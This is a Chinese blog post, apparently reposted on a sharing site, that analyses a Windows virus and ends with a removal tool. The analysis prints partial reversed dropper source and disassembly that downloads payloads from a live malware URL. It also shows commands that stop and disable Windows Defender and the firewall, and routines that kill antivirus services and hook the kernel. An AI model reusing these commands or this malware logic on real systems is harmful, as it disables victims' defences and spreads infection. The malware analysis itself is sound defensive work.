打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
一个病毒的简单分析
 

前几日电脑启动项总是出现一个叫 system.exe 的启动项,前几次就删除作罢,也没细细追究,但几次以后厌烦了,直接拿出 IDA,OD 分析,然后就有了这篇文章。


先描述一下病毒行为
system.exe  释放文件里面的两个 dll,并用 rundll32 启动两个 dll
grea.dll(以后简称叫做 dll1,文件名生成随机) 3 个线程工作,第一个线程下载 http://trt10.t3egc.com:8080/rt10/d.txt 文件,并根据里面的列表下载其他 virus 并执行。第二个线程将system.exe 写入启动项。第三个线程枚举磁盘上的 exe 文件,将一段 payload 插入其中,并将 system.exe 写入文件结尾。


jmgr.dll (dll2,文件名也是随机)停止防火墙、Winfender,并加载驱动 cdriver.sys 检测并关闭杀毒软件(McAfee、360、瑞星、ESET)


CDriver.sys  根据第二个 dll 的指令实行杀进程,hook  ZwCreateProcess Ex 禁止进程启动

其中 system.exe 代码已经逆的差不多,直接给逆向好的源码吧。(释放并运行dll1已经完全逆向出来,dll2 类同,就不再继续逆了,把 GetStringHash 函数逆出来还是不错的,后面其他模块的分析会继续用到这个函数,此函数是计算字符串的 hash 值,后面的进程名也用到,无法还原进程名)

代码:

#pragma comment(linker, '/ENTRY:entry')
#include 
// #define RELEASE_PUBLIC


extern unsigned char Dll1[0xD400];
extern unsigned char Dll2[];

void LoopGetFileName(char* buf, int index, int seed) // 00401000
{
    buf[index] = seed%24 + 'a';
    int nextSeed = seed/10; 
    if (nextSeed > 0)
.......


整个程序流程很简单,就是定位函数繁琐的操作




第一个 dll,grea.dll 分析:dll 没有入口,只有一个导出函数 Execute
Execute一进入就创建三个线程

代码:

.text:10002476                 push    0               ; lpThreadId
.text:10002478                 push    0               ; dwCreationFlags
.text:1000247A                 push    0               ; lpParameter
.text:1000247C                 push    offset RunDownAndExec ; 执行下载病毒的工作,然后执行病毒体
.text:10002481                 push    0               ; dwStackSize
.text:10002483                 push    0               ; lpThreadAttributes
.text:10002485                 call    ds:CreateThread
.text:10002485
.text:1000248B                 mov     [ebp+hHandle], eax
.text:1000248E                 mov     edx, [ebp+hHandle]
.text:10002491                 push    edx             ; hObject
.text:10002492                 call    ds:CloseHandle
......


然后复制 wininet.dll 到零时目录加载,得到 Internet 函数去下载文件并执行


代码:

.text:100021F0 ; DWORD __stdcall RunDownAndExec(LPVOID a1)
.text:100021F0 RunDownAndExec  proc near               ; DATA XREF: Exucute+AC o
.text:100021F0
.text:100021F0
.text:100021F0                 push    ebp
.text:100021F1                 mov     ebp, esp
.text:100021F3                 sub     esp, 338h
.text:100021F9                 push    214C6981h       ; GetSystemDirectoryA
.text:100021FE                 call    GetHashProcAddr
.text:100021FE
.text:10002203                 add     esp, 4
.text:10002206                 mov     [ebp+GetSystemDirectoryA], eax
.text:1000220C                 push    104h
.text:10002211                 lea     eax, [ebp+String1]
.text:10002217                 push    eax
.text:10002218                 call    [ebp+GetSystemDirectoryA]
.text:10002218
......



分析第二个 dll,jmgr.dll

一开始就关闭防火墙、windows自带病毒扫描程序

代码:

.text:10001D00                 push    ebp
.text:10001D01                 mov     ebp, esp
.text:10001D03                 sub     esp, 290h
.text:10001D09                 push    289FBD13h
.text:10001D0E                 call    GetHashProcAddr
.text:10001D0E
.text:10001D13                 add     esp, 4
.text:10001D16                 mov     [ebp+WinExec], eax
.text:10001D1C                 push    0
.text:10001D1E                 push    offset s->NetStopWindefend ; 'net stop WinDefend'
.text:10001D23                 call    [ebp+WinExec]  ; 关闭WinDefend服务
.text:10001D23
.text:10001D29                 push    0
.text:10001D2B                 push    offset s->NetStopMpssvc ; 'net stop MpsSvc'
.text:10001D30                 call    [ebp+WinExec]  ; 关闭防火墙
.text:10001D30
.text:10001D36                 push    0
.text:10001D38                 push    offset s->ScConfigWindefendStartDisabled ; 'sc config WinDefend start= disabled'
.text:10001D3D                 call    [ebp+WinExec] ; 禁用WinDefend
.text:10001D3D
.text:10001D43                 push    0
.text:10001D45                 push    offset s->ScConfigMpssvcStartDisabled ; 'sc config MpsSvc start= disabled'
.text:10001D4A                 call    [ebp+WinExec] ; 禁用防火墙


里面一堆的关闭杀软服务工作


代码:

.text:10001B6B                 mov     byte ptr [ebp+var_298+3], 'h'
.text:10001B72                 mov     byte ptr [ebp+var_294], 'i'
.text:10001B79                 mov     byte ptr [ebp+var_294+1], 'e'
.text:10001B80                 mov     byte ptr [ebp+var_294+2], 'l'
.text:10001B87                 mov     byte ptr [ebp+var_294+3], 'd'
.text:10001B8E                 mov     byte ptr [ebp+var_290], 0
.text:10001B95                 lea     ecx, [ebp+var_298]
.text:10001B9B                 push    ecx             ; lpString2
.text:10001B9C                 call    StopService     ; 关闭 Mcshield 服务
.text:10001B9C
.text:10001BA1                 add     esp, 4
.text:10001BA4                 mov     byte ptr [ebp+var_2A8], 'M'
.text:10001BAB                 mov     byte ptr [ebp+var_2A8+1], 'c'
.text:10001BB2                 mov     byte ptr [ebp+var_2A8+2], 'O'
.text:10001BB9                 mov     byte ptr [ebp+var_2A8+3], 'D'
.text:10001BC0                 mov     byte ptr [ebp+var_2A4], 'S'
.text:10001BC7                 mov     byte ptr [ebp+var_2A4+1], 0
.text:10001BCE                 lea     edx, [ebp+var_2A8]
.text:10001BD4                 push    edx             ; lpString2
.text:10001BD5                 call    StopService     ; 关闭 McODS 服务
.text:10001BD5
.text:10001BDA                 add     esp, 4
.text:10001BDD                 mov     byte ptr [ebp+var_2BC], 'm'
.text:10001BE4                 mov     byte ptr [ebp+var_2BC+1], 'c'
.text:10001BEB                 mov     byte ptr [ebp+var_2BC+2], 'm'
.text:10001BF2                 mov     byte ptr [ebp+var_2BC+3], 's'
.text:10001BF9                 mov     byte ptr [ebp+var_2B8], 'c'
.text:10001C00                 mov     byte ptr [ebp+var_2B8+1], 's'
.text:10001C07                 mov     byte ptr [ebp+var_2B8+2], 'v'
.text:10001C0E                 mov     byte ptr [ebp+var_2B8+3], 'c'
.text:10001C15                 mov     byte ptr [ebp+var_2B4], 0
.text:10001C1C                 lea     eax, [ebp+var_2BC]
.text:10001C22                 push    eax             ; lpString2
.text:10001C23                 call    StopService     ; 关闭 mcmscsvc 服务
.....


 图中有误,是利用驱动杀进程,而非利用调用

CDriver.sys 分析
驱动内容就非常简单了,主要功能都在IoControlRoutine中,里面几个命令功能

代码:

0x22E14B    传入SSDT的id与地址,然后hook SSDT
0x222009    attach到进程然后杀死进程(传入pid)
0x222006    hook   ZwCreateProcessEx,ZwCreateProcessEx中根据SectionHandle得到文件名,然后计算hash,根据里面的hash列表禁止启动某部分程序
0x222007    unhook  ZwCreateProcessEx


完了最后写一个专业杀工具


代码:

BOOL KillVirus(LPTSTR szFileName)
{
    BOOL retValue = FALSE;
    DWORD dwBytes;
    HANDLE hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return retValue;
    }
    DWORD dwSize = GetFileSize(hFile, NULL);
    LPBYTE pBuf = (PBYTE)AllocMemory(dwSize);
    SetFilePointer(hFile,0, NULL, FILE_BEGIN);
    ReadFile(hFile, pBuf, dwSize, &dwBytes, NULL);
    CloseHandle(hFile);

    do 
    {
        PIMAGE_DOS_HEADER Header = (PIMAGE_DOS_HEADER)pBuf;
        PIMAGE_NT_HEADERS peheader = 
            (PIMAGE_NT_HEADERS)((LPBYTE)Header + Header->e_lfanew);

        ......


点击左下角,查看全部代码哦~

 

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
Ted's Blog
编写shellcode的全过程
Unlocker 工作原理分析
Zw*与Nt*的区别
怎样查看lib文件中的函数名和函数参数啊
C++中的成员函数调用原理及this指针的传递方式
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服